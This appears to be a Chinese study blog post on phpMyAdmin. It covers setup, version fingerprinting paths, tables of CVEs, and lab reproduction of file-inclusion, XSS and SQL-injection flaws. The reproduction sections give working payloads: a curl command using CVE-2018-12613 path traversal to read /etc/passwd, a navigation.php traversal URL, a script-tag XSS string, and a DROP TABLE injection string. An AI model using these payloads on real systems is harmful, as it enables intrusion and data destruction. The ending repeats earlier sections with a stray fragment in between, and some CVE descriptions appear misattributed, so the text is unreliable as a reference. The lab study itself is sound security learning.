phpMyAdmin漏洞学习
简介
phpMyAdmin 是一个基于 Web 的 MySQL/MariaDB 数据库管理工具,使用 PHP 编写,允许用户通过浏览器直接操作数据库。
1. 核心功能
- 数据库管理
- 创建、修改、删除数据库/表/字段/索引。
- 执行 SQL 查询(支持语法高亮和自动补全)。
- 数据操作
- 插入、编辑、删除数据(类似 Excel 表格)。
- 导入/导出数据(支持 SQL、CSV、JSON、Excel 等格式)。
- 用户权限管理
- 管理 MySQL 用户账号和权限。
- 服务器监控
- 查看服务器状态、进程、变量配置等。
2. 优缺点
优点 | 缺点 |
---|---|
✅ 免费开源 | ❌ 安全性风险(需严格配置权限) |
✅ 跨平台(任何浏览器可用) | ❌ 性能较差(大数据量操作慢) |
✅ 无需安装客户端 | ❌ 功能较专业工具(如 DataGrip)有限 |
3. 主要安全风险
① 默认弱点和常见攻击方式
- 默认路径暴露
- 攻击者常扫描
/phpmyadmin
、/pma
、/admin
等常见路径,尝试未授权访问。
- 攻击者常扫描
- 弱密码或默认密码
- 默认用户(如
root
无密码)或简单密码(如admin123
)易被暴力破解。
- 默认用户(如
- SQL 注入
- 旧版本可能存在漏洞(如 CVE-2018-12613),允许通过伪造请求执行恶意 SQL。
- 文件包含漏洞(LFI/RFI)
- 通过参数操纵读取服务器敏感文件(如
/etc/passwd
)或远程执行代码。
- 通过参数操纵读取服务器敏感文件(如
- CSRF(跨站请求伪造)
- 攻击者诱骗管理员点击恶意链接,执行数据库操作(如删除表)。
② 服务器层面风险
- phpMyAdmin 本身漏洞
- 未更新的版本可能包含已知漏洞(如 CVE-2020-0554)。
- PHP 配置不当
- 如
allow_url_include=On
可能导致远程代码执行。
- 如
安装和配置
安装
安装phpMyAdmin前,要安装配置好Apache
phpMyAdmin的安装学习自菜冬眠。
phpMyAdmin下载地址:https://www.phpmyadmin.net/
点击右上角下载按钮
下载得到phpMyAdmin-4.7.0-all-languages.zip
解压到C盘根目录下,重命名为phpMyAdmin,进入该文件夹,找到config.sample.inc.php,改名为config.inc.php,用文本编辑器打开改文件。找到下列代码
$cfg['blowfish_secret'] = ''
改成
$cfg['blowfish_secret'] = 'c4ca4238a0b923820dcc509a6f75849b';//一个长字符串密码就行
进入apache的conf文件夹下,新建一个phpmyadmin.conf文件,文本编辑器打开,加入下列代码
Alias /phpmyadmin "c:/phpMyAdmin/"
<Directory "c:/phpMyAdmin/">
Options Indexes FollowSymLinks MultiViews
AllowOverride all
Require all granted
php_admin_value upload_max_filesize 128M
php_admin_value post_max_size 128M
php_admin_value max_execution_time 360
php_admin_value max_input_time 360
</Directory>
保存退出
在该文件夹内找到配置文件httdp.conf,用文本编辑器打开,在末尾增加一行
Include conf/phpmyadmin.conf
保存退出,重启apache
在浏览器中输入 http://localhost/phpmyadmin
登录
用户名填root
密码是本机MySQL的密码
安装补充
在浏览器中输入http://localhost/phpmyadmin的前提是配置Apache的端口是默认端口80,如果有修改,输入的地址也应该有变化例如修改成8088,输入的则应该是http://localhost:8088/phpmyadmin
可能出现的报错和解决方式
1.index.php渲染失败
当在浏览器中输入正确的地址后,发现index.php渲染失败,并没有出现应该有的登录页面
解决方法:
-
打开 Apache 的配置文件
httpd.conf
(一般在Apache24/conf/httpd.conf
); -
找到这一行(可能在 270 行左右):
<IfModule dir_module> DirectoryIndex index.html </IfModule>
-
把他修改为
<IfModule dir_module> DirectoryIndex index.php index.html </IfModule>
-
保存配置,重启apache服务
2.出现大量Deprecated报错
当打开页面时出现大量Deprecated报错,是因为你当前使用的 PHP 版本过高,而 phpMyAdmin 或它依赖的库(如 thecodingmachine/safe
)中使用了旧的、不再推荐的语法。
解决方法:关闭 PHP 的“废弃提示”显示(看不见报错,就是没错!)
-
打开 PHP 的配置文件
php.ini
(路径如:C:\php\php.ini
); -
找到这一行(大约在 400 行左右):
error_reporting = E_ALL
- 修改成
error_reporting = E_ALL & ~E_DEPRECATED & ~E_NOTICE
意思是:显示所有错误,但不显示废弃(Deprecated)和提醒(Notice)级别的信息。
- 同时确保下面这一行是启用的
display_errors = On
- 保存配置,重启Apache服务。
查看phpmyadmin版本
phpmyadmin版本信息查看学习自kracer127
直接在phpmyadmin的url后加下面文件路径爆出:
/readme
/changelog
/Change
/changelog.php
/Documetation.html
/Documetation.txt
/translators.html
/doc/html/index.html
phpMyAdmin 相关的部分重要 CVE 漏洞
1. 高危漏洞(RCE、SQL注入、文件包含等)
CVE编号 | 漏洞类型 | 影响版本 | 漏洞描述 | 修复版本 |
---|---|---|---|---|
CVE-2023-3936 | 跨站脚本 (XSS) | < 5.2.1 | 通过特制请求触发存储型XSS,可窃取会话Cookie。 | 5.2.1 |
CVE-2022-32608 | SQL注入 | 5.1.0 - 5.1.3 | 在SQL查询构造中未过滤用户输入,导致注入。 | 5.1.4 |
CVE-2021-32647 | 文件包含/代码执行 | 5.1.0 - 5.1.1 | 通过精心构造的请求包含本地文件(需allow_url_include=On )。 | 5.1.2 |
CVE-2020-0554 | 跨站请求伪造 (CSRF) | < 5.0.4 | 攻击者可诱骗管理员执行恶意数据库操作(如删除表)。 | 5.0.4 |
CVE-2019-12922 | 反序列化漏洞 | 4.9.0.1 | 通过恶意序列化数据触发远程代码执行(RCE)。 | 4.9.1 |
CVE-2018-12613 | 本地文件包含 (LFI) | 4.8.0 - 4.8.1 | 通过index.php?target= 参数读取服务器敏感文件(如/etc/passwd )。 | 4.8.2 |
CVE-2016-5734 | SQL注入 | 4.0.10 - 4.6.3 | 在用户权限管理界面存在注入漏洞。 | 4.6.4 |
CVE-2016-5730 | 代码执行 | 4.6.0 - 4.6.2 | 通过pma_username 参数触发PHP代码执行。 | 4.6.3 |
2. 中低危漏洞(信息泄露、权限绕过等)
CVE编号 | 漏洞类型 | 影响版本 | 漏洞描述 | 修复版本 |
---|---|---|---|---|
CVE-2020-10802 | 信息泄露 | 5.0.0 - 5.0.1 | 错误页面泄露服务器路径信息。 | 5.0.2 |
CVE-2019-12923 | 开放重定向 | 4.9.0.1 | 通过redirect.php 跳转到恶意网站。 | 4.9.1 |
CVE-2018-19968 | 会话固定攻击 | 4.8.0 - 4.8.3 | 攻击者可劫持用户会话。 | 4.8.4 |
CVE-2017-1000499 | 跨站脚本 (XSS) | < 4.7.6 | 在表名参数中触发反射型XSS。 | 4.7.6 |
漏洞复现(从配置环境开始)
1.CVE-2018-12613
使用系统:CentOS7
所需环境:
- phpMyAdmin4.8.0——4.8.2
- php7.2
- apache2
1. 系统准备
首先确保你有一个干净的CentOS 7系统:
# 更新系统
sudo yum update -y
# 安装常用工具
sudo yum install -y wget vim unzip
2. 安装必要的服务
2.1 安装Apache和PHP
# 安装EPEL仓库
sudo yum install -y epel-release
# 安装Apache和PHP及相关模块
sudo yum install -y httpd php php-mysql php-mbstring php-gd
2.2 启动Apache服务
sudo systemctl start httpd
sudo systemctl enable httpd
2.3 验证PHP安装
创建测试文件:
echo "<?php phpinfo(); ?>" | sudo tee /var/www/html/info.php
在环境浏览器中访问 http://localhost/info.php
应该能看到PHP信息页面。
3. 安装易受攻击的phpMyAdmin版本
3.1 下载phpMyAdmin 4.8.2
cd /tmp
wget https://files.phpmyadmin.net/phpMyAdmin/4.8.2/phpMyAdmin-4.8.2-all-languages.zip
unzip phpMyAdmin-4.8.2-all-languages.zip
sudo mv phpMyAdmin-4.8.2-all-languages /var/www/html/phpmyadmin
3.2 配置phpMyAdmin
sudo cp /var/www/html/phpmyadmin/config.sample.inc.php /var/www/html/phpmyadmin/config.inc.php
修改配置文件:
sudo vim /var/www/html/phpmyadmin/config.inc.php
找到以下行并取消注释(或添加):
$cfg['AllowArbitraryServer'] = true;
3.3 设置权限
sudo chown -R apache:apache /var/www/html/phpmyadmin
sudo chmod -R 755 /var/www/html/phpmyadmin
sudo restorecon -R /var/www/html/phpmyadmin
3.4 重启Apache
sudo systemctl restart httpd
4. 复现漏洞
4.1 漏洞原理
该漏洞存在于index.php
文件中,攻击者可以通过构造特殊的请求参数,绕过安全检查,实现本地文件包含。
4.2 复现步骤
访问以下URL(替换[目标]
为你的服务器地址):
http://[目标]/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
或者使用curl命令:
curl "http://localhost/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd"
如果漏洞存在,你将看到系统/etc/passwd
文件的内容。
4.3 另一种验证方式
创建一个测试文件:
echo "<?php echo 'Vulnerable!'; ?>" | sudo tee /var/www/html/test.php
然后尝试包含它:
http://[目标]/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../var/www/html/test.php
如果看到"Vulnerable!"输出,则漏洞复现成功。
phpMyAdmin4.0.0可以复现的CVE
复现环境搭建建议:
- 下载 phpMyAdmin 4.0.0:
- 旧版本下载地址
- 使用 PHP 5.4
5.6 + MySQL 5.55.6 环境(推荐使用 XAMPP/LAMP 或 Docker) - 启用
display_errors
,方便调试
1. CVE-2013-3238 - 本地文件包含(LFI)
-
漏洞类型:本地文件包含(Local File Inclusion)
-
描述:攻击者可以通过构造特定请求,利用
pma_navigation.php
中的target
参数包含任意本地文件。 -
影响版本:<= 4.0.0
-
复现建议:
-
搭建 phpMyAdmin 4.0.0 环境;
-
访问:
http://yourhost/phpmyadmin/navigation.php?target=../../../../../../etc/passwd
-
2. CVE-2013-1937 - 存储型 XSS
-
漏洞类型:存储型跨站脚本攻击(Stored XSS)
-
描述:在某些字段(如表注释、列名等)中插入恶意 JavaScript 代码,当用户浏览这些内容时会触发脚本。
-
影响版本:phpMyAdmin 4.0.0
-
复现建议:
-
创建新表时,在“注释”或“列名”输入:
<script>alert('XSS')</script>
-
保存后,刷新页面,会触发 XSS。
-
3. CVE-2013-3239 - SQL 注入漏洞
- 漏洞类型:SQL Injection
- 描述:当处理某些数据表名时,phpMyAdmin 没有正确过滤输入,导致 SQL 注入。
- 影响版本:<= 4.0.0
- 复现建议:
- 创建恶意数据库或表名,例如
'; DROP TABLE users;--
- 触发后台某些处理函数(比如导出、浏览)时可能执行注入语句。
- 创建恶意数据库或表名,例如
4. CVE-2013-4995 - CSRF 导致任意 SQL 执行
-
漏洞类型:跨站请求伪造(CSRF)+ 权限绕过
-
描述:攻击者诱导已登录用户点击特制链接即可在数据库中执行 SQL 命令。
-
影响版本:4.0.0
-
复现建议:
- 构造一个 HTML 页面带有伪造的
POST
请求; - 诱导管理员点击或访问此页面,即可执行操作。
漏洞**
- 构造一个 HTML 页面带有伪造的
-
漏洞类型:SQL Injection
-
描述:当处理某些数据表名时,phpMyAdmin 没有正确过滤输入,导致 SQL 注入。
-
影响版本:<= 4.0.0
-
复现建议:
- 创建恶意数据库或表名,例如
'; DROP TABLE users;--
- 触发后台某些处理函数(比如导出、浏览)时可能执行注入语句。
- 创建恶意数据库或表名,例如
4. CVE-2013-4995 - CSRF 导致任意 SQL 执行
- 漏洞类型:跨站请求伪造(CSRF)+ 权限绕过
- 描述:攻击者诱导已登录用户点击特制链接即可在数据库中执行 SQL 命令。
- 影响版本:4.0.0
- 复现建议:
- 构造一个 HTML 页面带有伪造的
POST
请求; - 诱导管理员点击或访问此页面,即可执行操作。
- 构造一个 HTML 页面带有伪造的